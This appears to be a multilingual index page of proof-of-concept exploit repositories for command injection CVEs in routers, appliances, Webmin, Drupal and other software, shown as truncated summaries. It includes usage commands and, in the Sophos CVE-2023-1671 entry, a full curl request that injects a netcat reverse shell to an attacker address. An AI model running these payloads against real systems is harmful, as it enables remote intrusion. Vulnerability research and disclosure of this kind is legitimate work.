ivanti-CVE-2024-21887

ivanti-CVE-2024-21887 ivanti CVE-2024-21887 コマンドインジェクション用 POC チェッカー...

poc-rebar3

Rebar3 Shell 注入（CVE-2020-13802） 概念验证 git clone https://github.com/vulnbe/poc-rebar3.git cd poc-rebar3 rebar3 clean 致谢 Alexey Pronin @vulnbe 参考 Rebar3 漏洞分析 漏洞修复 PR CVE-2020-13802 CWE-78：OS 命令中特殊元素的不当中和（'OS 命令注入'）...

TP-Link-ArcherC5-RCE

TP-Link Archer C5 認証済みRCE：悪意ある設定ファイルのアップロードによる CVE-2018-19537 説明 TP-Link Archer C5 ルーターの公開されている全ファームウェアバージョンに、認証済みリモートコード実行 RCE の脆弱性が存在します。悪意を持って細工された設定ファイルをアップロードすることにより、攻撃者は root 権限で実行される OS コマンドを注入できます。 Archer C5 ルーターは、管理者ユーザーが現在の設定パラメータをファイルに保存したり、ファイルからパラメータを復元したりすることを許可します。 これらのパラメータは、ユーザーが...

CVE-2026-52616

CVE-2026-52616 — mcp-nmap-server: OS command injection via runnmapscan The runnmapscan MCP tool builds its command by string interpolation of the target and additionalFlags parameters and runs it through childprocess.exec, i.e. /bin/sh -c. ⚠ Read this first — duplicate identifier This vulnerabili...

CVE-2024-10914

CVE-2024-10914 在 D-Link DNS-320、DNS-320LW、DNS-325 和 DNS-340L（截至 20241028）中发现了一个漏洞。该漏洞被评定为严重。受影响的是文件 /cgi-bin/accountmgr.cgi?cmd=cgiuseradd 中的函数 cgiuseradd。通过操纵参数 name 可导致操作系统命令注入。攻击可远程发起。攻击复杂度较高，利用难度较大。该漏洞利用方法已公开，可能被使用。 受影响设备 DNS-320 版本 1.00 DNS-320LW 版本 1.01.0914.2012 DNS-325 版本 1.01, 版本 1.02...

CVE-2024-55503

CVE-2024-55503 Termius App MacOS dylib コマンドインジェクション 説明 v.9.9.0 より前の Termius には、ローカルの攻撃者が DYLDINSERTLIBRARIES コンポーネントに細工されたスクリプトを渡すことで任意のコードを実行できる問題があります。dylib を使用します。 DYLDINSERTLIBRARIES=exploitcombined.dylib /Applications/Termius.app/Contents/MacOS/Termius 再現 影響 コマンド実行（ローカル） 参照 CVE Record:...

CVE-2026-94095

Netcore NBR200V2 - traceroute 诊断功能中的远程命令注入（CVE-2026-94095） 字段| 值 ---|--- 厂商| Netcore 型号| NBR200V2 固件版本| V1.3.241127.071246 受影响组件| /usr/bin/networktools 漏洞类型| OS 命令注入（CWE-74 / CWE-77） CVSS 3.1| 9.9（严重） 攻击向量| 远程（ubus JSON-RPC） 前置条件| 可访问的 ubus 端点 + 一个低权限会话（sid） 厂商状态| 已提前联系；无回应；披露时无补丁 描述 Netcore...

CVE-2026-19586

CVE-2026-19586 PoC TP-Link Omada SSL VPN 未认证 RCE CVE-2026-19586 概述 TP-Link Omada 网关固件 SSL VPN 认证路径中存在命令注入漏洞 CWE-78，允许未认证攻击者以 root 身份执行任意命令。当基于 OpenVPN 的 SSL VPN 服务器启用时，OpenVPN 会将连接客户端提交的用户名传递给 /usr/sbin/checkpsw.sh，该脚本绑定到 auth-user-pass-verify 指令。该脚本将用户名未加引号地拼接到 awk 程序中，因此包含双引号的用户名会闭合其被粘贴进的 awk...

CVE-2025-32375

脆弱性バージョンのセットアップ 脆弱性のあるコンテナを起動します: docker compose up リスナー（例: ncat）を作成します: ncat -klnv 1337 エクスプロイトを実行します: python3 exploit.py すべてが正常に動作した場合、ncat ウィンドウに OS コマンド（デフォルトでは id）の内容を含む HTTP リクエストが届くはずです。 クレジット 脆弱性発見者: SeaW1nd VickyTheViking によるテスト環境に基づく...

CVE-2019-3929

CVE-2019-3929 Crestron/Barco/Extron/InFocus/TeqAV リモートコマンドインジェクション CVE-2019-3929 Metasploitモジュール Tenableの説明によると: "リモートの未認証攻撃者は、HTTPエンドポイント filetransfer.cgi への巧妙に細工されたリクエストを介して、rootとしてオペレーティングシステムコマンドを実行できます。この脆弱性は、Crestron AM-100 ファームウェア 1.6.0.2、Crestron AM-101 ファームウェア 2.7.0.1、Barco wePresent...

CVE-2025-14558

CVE-2025-14558 FreeBSD rtsold DNSSL コマンドインジェクション RCE 説明 rtsold8 は、DNSSLドメイン名にシェルのメタ文字が含まれていないか検証せずに resolvconf8 に渡します。$ によるコマンド置換により、隣接ネットワークからのリモートコード実行が可能になります。 影響を受けるバージョン: FreeBSD 13.x, 14.x, 15.x 2025-12-16 より前 使用法 sudo python3 exploit.py -i eth0 touch /tmp/pwned sudo python3 exploit.py -i...

CVE-2023-1671

CVE-2023-1671 Sophos Web Appliance における事前認証 RCE PoC curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "argsreason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&userencoded=$echo -n "';nc -e /bin/sh 192.168.56.1 4444 " | base64" snip = Send header, 18...

CVE-2019-15107

CVE-2019-15107 Webmin エクスプロイト CVE-2019-15107 問題が発見されました Webmin =1.920 において。パラメータ old が passwordchange.cgi にコマンドインジェクションの脆弱性を含んでいます。 NVD コンパイル $ git clone https://github.com/whokilleddb/CVE-2019-15107 $ cd CVE-2019-15107 $ make 使用例 $ ./exploit http://thomaswreath.thm:10000 + CVE-2019-15107 Webmin...

CVE-2026-28672

CVE-2026-28672 — Apache Ranger UnixUserGroupBuilder OS 命令注入 Apache Ranger user-sync（unixusersync）模块中 OS 命令注入漏洞的可运行概念验证复现程序。 在枚举每个已同步用户所属的组时，UnixUserGroupBuilder 会通过 shell 执行 id 命令，并将用户名 拼接到命令行中： // ugsync/src/main/java/org/apache/ranger/unixusersync/process/UnixUserGroupBuilder.java Ranger 65534 ...

CVE-2025-32778

CVE-2025-32778 - Web-Check コマンドインジェクションエクスプロイト 説明 CVE-2025-32778 は、Lissy93 による Web-Check OSINT ツールにおける重大なコマンドインジェクションの脆弱性です。 認証されていない攻撃者が、スクリーンショット API の url パラメータを介して任意のシステムコマンドを実行することを可能にします。 この Python スクリプトは、エクスプロイトを自動化し、リバースシェルを生成したり、カスタムシェルペイロードを受け入れたりできます。 警告...

CVE-2026-10520

CVE-2026-10520 Ivanti Sentry（旧MobileIron Sentry）は、モバイルデバイスと企業バックエンドリソース（メール、SharePoint、内部Webアプリケーション）間のトラフィックをプロキシするエンタープライズセキュリティゲートウェイです。 Mobile Device Management （MDM）ポリシーを適用し、暗号化されたモバイルセッションを終了し、エンタープライズアプリの展開のために証明書ベースの認証を発行します。Sentryインスタンスは通常、インターネットに公開されたポート8443 上で動作し、MICS（Mobile Iron...

CVE-2018-6961

Python3でのCVE-2018-6961エクスプロイト バージョン3.1.0より前のVeloCloudによるVMware NSX SD-WAN Edgeには、ローカルWeb UIコンポーネントにコマンドインジェクションの脆弱性が存在します。このコンポーネントはデフォルトで無効になっており、信頼できないネットワーク上で有効にすべきではありません。VMwareのVeloCloudは、将来のリリースでこのサービスを製品から削除する予定です。この問題の悪用に成功すると、リモートコード実行につながる可能性があります。 リンク CVE詳細...

Drupalgedon3

Drupal エクスプロイト SA-CORE-2018-004 / CVE-2018-7602 のPoC 作者 Alexandre Nguyen 使い方 usage: exploit.py -h --command --nodeid --url POC for Drupal vulnerability SA-CORE-2018-004 arguments: -h, --help show this help message and exit --command Command to inject --nodeid Node to target --url Drupal base URL...

Exploit for Authentication Bypass Using an Alternate Path or Channel in Sangoma Freepbx

FreePBX-Breaker PoC y código automatizado para explotar CVE-20...

CVE-2023-0669

CVE-2023-0669 GoAnywhere MFT は、ライセンス応答サーブレットにおいて任意の攻撃者制御オブジェクトをデシリアライズすることにより、認証前のコマンドインジェクション脆弱性が存在します。 0x00 Dork shodan title:"GoAnywhere" FOFA title="GoAnywhere" 0x01 使用方法 Java バージョン java -version openjdk version "1.8.0362" ヘルプ java -jar CVE-2023-0669.jar -h / / | / / / | \ / \ | / / / // // ...